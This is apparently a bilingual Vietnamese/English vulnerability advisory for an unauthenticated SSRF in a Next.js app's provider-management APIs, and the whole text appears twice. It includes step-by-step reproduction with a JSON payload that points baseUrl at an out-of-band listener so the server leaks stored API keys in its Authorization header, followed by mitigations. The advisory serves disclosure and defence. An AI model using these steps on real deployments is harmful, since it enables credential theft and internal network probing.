Tóm tắt (Summary)
Lỗ hổng Giả mạo yêu cầu từ máy chủ (SSRF - Server-Side Request Forgery) đã được phát hiện trong ứng dụng do thiếu cơ chế kiểm soát truy cập đối với các API liên quan đến cấu hình hệ thống (/api/provider-nodes và /api/providers). Một kẻ tấn công chưa xác thực có thể tự do tạo các node kết nối với baseUrl trỏ tới máy chủ của họ, sau đó kích hoạt API "test" (kiểm tra kết nối) để ép ứng dụng gửi các HTTP request ra ngoài kèm theo các khóa API (API keys) bí mật trên máy chủ nằm trong header Authorization.
Nguyên nhân cốt lõi (Root Causes)
- Lỗ hổng trên Middleware Guard: Middleware bảo vệ của Next.js (tại
src/proxy.js và src/dashboardGuard.js) đã bỏ sót việc bảo vệ các endpoint quản lý node và provider (/api/provider-nodes/*, /api/providers/*). Do đó, bất kỳ ai cũng có thể truy cập mà không gặp rào cản xác thực nào.
- Kẻ tấn công kiểm soát được baseUrl: API
POST /api/provider-nodes cho phép người dùng tùy ý nhập giá trị baseUrl (đối với loại openai-compatible) mà không qua bộ lọc, kiểm tra (validate) hay giới hạn tập miền an toàn (allowlist).
- Thực thi SSRF và Rò rỉ Secret: Khi kẻ tấn công gọi
POST /api/providers/[id]/test, hàm testApiKeyConnection sẽ thực hiện gửi một request fetch từ máy chủ đến {baseUrl}/models dựa vào thông tin baseUrl đã lưu, đồng thời đính kèm luôn connection.apiKey vào header request (Authorization: Bearer ...). Việc này trực tiếp gửi API key lọt vào tay máy chủ do kẻ tấn công sở hữu.
Tác động (Impact)
- Đánh cắp Secret (Credential Exfiltration): Kẻ bạo hành có thể đánh cắp toàn bộ các token/khóa API có trong hệ thống qua request headers chặn bắt được tại hạ tầng máy chủ của họ.
- Rò rỉ hạ tầng Nội bộ (Internal Enumeration): Thông qua SSRF, kẻ tấn công có thể quét vòng trong mạng nội bộ, tương tác với các dịch vụ private IP, hoặc tấn công lấy quyền kiểm soát dịch vụ cloud metadata (IMDS).
Các bước tái hiện (Steps to Reproduce)
- Kẻ tấn công thiết lập một server mồi (ví dụ:
https://<unique>.oast.live).
- Gửi request
POST /api/provider-nodes để tạo một provider node mới mà không cần xác thực, cài đặt baseUrl hướng về server mồi:
{"type":"openai-compatible", "name":"ssrf-temp", "prefix":"ssrf", "apiType":"chat", "baseUrl":"https://<unique>.oast.live"}
- Gửi
POST /api/providers tạo kết nối nội bộ gắn với node trên và sử dụng dummy apiKey (VD: sk_test_ssrf).
- Kích hoạt request
POST /api/providers/<connection_id>/test.
- Quan sát trên server mồi, một HTTP
GET đến <server_mồi>/models đã được phía máy chủ của ứng dụng gửi đến, làm lộ header bảo mật Authorization: Bearer sk_test_ssrf.
Đề xuất khắc phục (Suggested Mitigation)
- Áp dụng Xác thực nghiêm ngặt: Bổ sung ngay lập tức các đường dẫn quản trị bị thiếu (
/api/providers và /api/provider-nodes) vào PROTECTED_API_PATHS tại src/dashboardGuard.js, và đưa vào matcher trong src/proxy.js (hoặc lý tưởng nhất là chuyển sang mô hình "Từ chối mặc định" đối với toàn bộ /api/*).
- Khống chế tính năng Fetch Máy chủ (Egress Controls): Bổ sung hàm kiểm tra (URL validation) trước khi máy chủ thực thi gửi HTTP request. Chặn truy cập thẳng vào các dải IP nội bộ, loopback proxy hoặc non-HTTP scheme.
- Chống Rò rỉ Thông tin: Hạn chế việc gửi nguyên vẹn API key trên header request ra một địa chỉ
baseUrl hoàn toàn lạ chưa được admin khai báo và chủ động phê duyệt.
[EN] English Version:
Summary
A critical Server-Side Request Forgery (SSRF) vulnerability has been discovered in the application due to missing access controls on administrative APIs (/api/provider-nodes and /api/providers). An unauthenticated attacker can create an "OpenAI-compatible" node pointing to an attacker-controlled baseUrl. By subsequently triggering the connection "test" endpoint, the server forces an outbound HTTP request, leaking highly sensitive stored API keys within the request headers.
Root Causes
- Middleware Coverage Gap: The Next.js middleware guards (
src/proxy.js and src/dashboardGuard.js) omit provider management endpoints (/api/provider-nodes/*, /api/providers/*), leaving them completely exposed to unauthenticated users.
- Attacker-Controlled
baseUrl Injection: The POST /api/provider-nodes handler explicitly accepts user-provided baseUrl values without any internal filtering, validation, or restrictive allowlisting.
- SSRF Execution & Secret Leakage: In
src/app/api/providers/[id]/test/testUtils.js, the testApiKeyConnection function initiates a server-side fetch to {baseUrl}/models based on the injected path. Disturbingly, it also embeds the configured connection.apiKey as an Authorization: Bearer header, actively delivering secrets to the attacker's infrastructure.
Impact
- Credential Exfiltration: Attackers can systematically steal integrated third-party tokens and API keys by capturing the outbound relayed HTTP headers.
- Internal Network Exposure: The SSRF flaw can be pivoted to scan internal systems, interact with non-public inner services (like private DBs), or compromise Cloud Metadata endpoints (IMDS).
Steps to Reproduce
- Establish an Out-Of-Band (OOB) listener (e.g.,
https://<unique>.oast.live).
- Unauthenticated
POST to /api/provider-nodes setting the baseUrl to the OOB server.
Payload: {"type":"openai-compatible", "name":"ssrf-temp", "prefix":"ssrf", "apiType":"chat", "baseUrl":"https://<unique>.oast.live"}
- Unauthenticated
POST to /api/providers to link a connection to this maliciously crafted node, using any apiKey (e.g., sk_test_ssrf).
- Trigger the server-side action by sending an empty
POST to /api/providers/<connection_id>/test.
- Observe the OOB listener receiving an incoming
GET /models request originating from the application server, openly exposing the Authorization: Bearer sk_test_ssrf header.
Suggested Mitigation
- Enforce Comprehensive Authentication: Immediately add missing administrative endpoints (
/api/providers and /api/provider-nodes) to the matcher array in src/proxy.js and PROTECTED_API_PATHS in src/dashboardGuard.js. It is strongly recommended to pivot to a "Deny-by-Default" pattern for all /api/* routes.
- Network Egress Controls: Add robust URL validation filters prioritizing Server-Side requests. Explicitly block requests aimed at loopback IPs, link-local boundaries, and unroutable RFC 1918 internal networks.
- Secret Forwarding Protections: Restrict unconditionally forwarding sensitive authorization headers unless the
baseUrl exists on a strictly predefined, admin-approved destination allowlist.
Tóm tắt (Summary)
Lỗ hổng Giả mạo yêu cầu từ máy chủ (SSRF - Server-Side Request Forgery) đã được phát hiện trong ứng dụng do thiếu cơ chế kiểm soát truy cập đối với các API liên quan đến cấu hình hệ thống (
/api/provider-nodesvà/api/providers). Một kẻ tấn công chưa xác thực có thể tự do tạo các node kết nối vớibaseUrltrỏ tới máy chủ của họ, sau đó kích hoạt API "test" (kiểm tra kết nối) để ép ứng dụng gửi các HTTP request ra ngoài kèm theo các khóa API (API keys) bí mật trên máy chủ nằm trong headerAuthorization.Nguyên nhân cốt lõi (Root Causes)
src/proxy.jsvàsrc/dashboardGuard.js) đã bỏ sót việc bảo vệ các endpoint quản lý node và provider (/api/provider-nodes/*,/api/providers/*). Do đó, bất kỳ ai cũng có thể truy cập mà không gặp rào cản xác thực nào.POST /api/provider-nodescho phép người dùng tùy ý nhập giá trịbaseUrl(đối với loạiopenai-compatible) mà không qua bộ lọc, kiểm tra (validate) hay giới hạn tập miền an toàn (allowlist).POST /api/providers/[id]/test, hàmtestApiKeyConnectionsẽ thực hiện gửi một requestfetchtừ máy chủ đến{baseUrl}/modelsdựa vào thông tin baseUrl đã lưu, đồng thời đính kèm luônconnection.apiKeyvào header request (Authorization: Bearer ...). Việc này trực tiếp gửi API key lọt vào tay máy chủ do kẻ tấn công sở hữu.Tác động (Impact)
Các bước tái hiện (Steps to Reproduce)
https://<unique>.oast.live).POST /api/provider-nodesđể tạo một provider node mới mà không cần xác thực, cài đặtbaseUrlhướng về server mồi:{"type":"openai-compatible", "name":"ssrf-temp", "prefix":"ssrf", "apiType":"chat", "baseUrl":"https://<unique>.oast.live"}POST /api/providerstạo kết nối nội bộ gắn với node trên và sử dụng dummy apiKey (VD:sk_test_ssrf).POST /api/providers/<connection_id>/test.GETđến<server_mồi>/modelsđã được phía máy chủ của ứng dụng gửi đến, làm lộ header bảo mậtAuthorization: Bearer sk_test_ssrf.Đề xuất khắc phục (Suggested Mitigation)
/api/providersvà/api/provider-nodes) vàoPROTECTED_API_PATHStạisrc/dashboardGuard.js, và đưa vàomatchertrongsrc/proxy.js(hoặc lý tưởng nhất là chuyển sang mô hình "Từ chối mặc định" đối với toàn bộ/api/*).baseUrlhoàn toàn lạ chưa được admin khai báo và chủ động phê duyệt.[EN] English Version:
Summary
A critical Server-Side Request Forgery (SSRF) vulnerability has been discovered in the application due to missing access controls on administrative APIs (
/api/provider-nodesand/api/providers). An unauthenticated attacker can create an "OpenAI-compatible" node pointing to an attacker-controlledbaseUrl. By subsequently triggering the connection "test" endpoint, the server forces an outbound HTTP request, leaking highly sensitive stored API keys within the request headers.Root Causes
src/proxy.jsandsrc/dashboardGuard.js) omit provider management endpoints (/api/provider-nodes/*,/api/providers/*), leaving them completely exposed to unauthenticated users.baseUrlInjection: ThePOST /api/provider-nodeshandler explicitly accepts user-providedbaseUrlvalues without any internal filtering, validation, or restrictive allowlisting.src/app/api/providers/[id]/test/testUtils.js, thetestApiKeyConnectionfunction initiates a server-sidefetchto{baseUrl}/modelsbased on the injected path. Disturbingly, it also embeds the configuredconnection.apiKeyas anAuthorization: Bearerheader, actively delivering secrets to the attacker's infrastructure.Impact
Steps to Reproduce
https://<unique>.oast.live).POSTto/api/provider-nodessetting thebaseUrlto the OOB server.Payload:
{"type":"openai-compatible", "name":"ssrf-temp", "prefix":"ssrf", "apiType":"chat", "baseUrl":"https://<unique>.oast.live"}POSTto/api/providersto link a connection to this maliciously crafted node, using anyapiKey(e.g.,sk_test_ssrf).POSTto/api/providers/<connection_id>/test.GET /modelsrequest originating from the application server, openly exposing theAuthorization: Bearer sk_test_ssrfheader.Suggested Mitigation
/api/providersand/api/provider-nodes) to thematcherarray insrc/proxy.jsandPROTECTED_API_PATHSinsrc/dashboardGuard.js. It is strongly recommended to pivot to a "Deny-by-Default" pattern for all/api/*routes.baseUrlexists on a strictly predefined, admin-approved destination allowlist.